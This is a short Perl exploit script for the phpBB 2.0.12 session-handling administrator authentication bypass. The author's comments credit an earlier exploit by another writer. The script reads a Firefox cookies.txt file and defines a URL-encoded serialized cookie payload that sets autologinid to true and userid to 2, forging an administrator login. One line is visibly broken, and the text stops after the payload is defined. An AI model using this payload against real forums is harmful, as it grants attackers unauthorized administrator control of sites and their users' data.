#  I tested this code with Firefox on my linux box, I do not know if it works
with mozilla or on #windows
# $url is the name of the cookie ( www.phpbb.com / $url= phpbb.com ) Look at
cookies.txt for the name of the cookie

#  I wrote this exploit after reading "phpBB 2.0.12 Session Handling
Administrator Authentication #Bypass    -SIMPLIFIED-"  By PPC^Rebyte
#  and it is based on his code 
#
# Sorry for my bad english :/

$file = "/////cookies.txt" ; # path to your cookies.txt
$url = $ARGV[0];

open (FILE , '<'."$file" ) or die ('File does not exist')  ; # path to your
cookies.txt file 
@cookie=  ;
close FILE ;


$exploit =
"a%3A2%3A%7Bs%3A11%3A%22autologinid%22%3Bb%3A1%3Bs%3A6%3A%22userid%22%3Bs%3A1%3A%222%22%3B%7D"
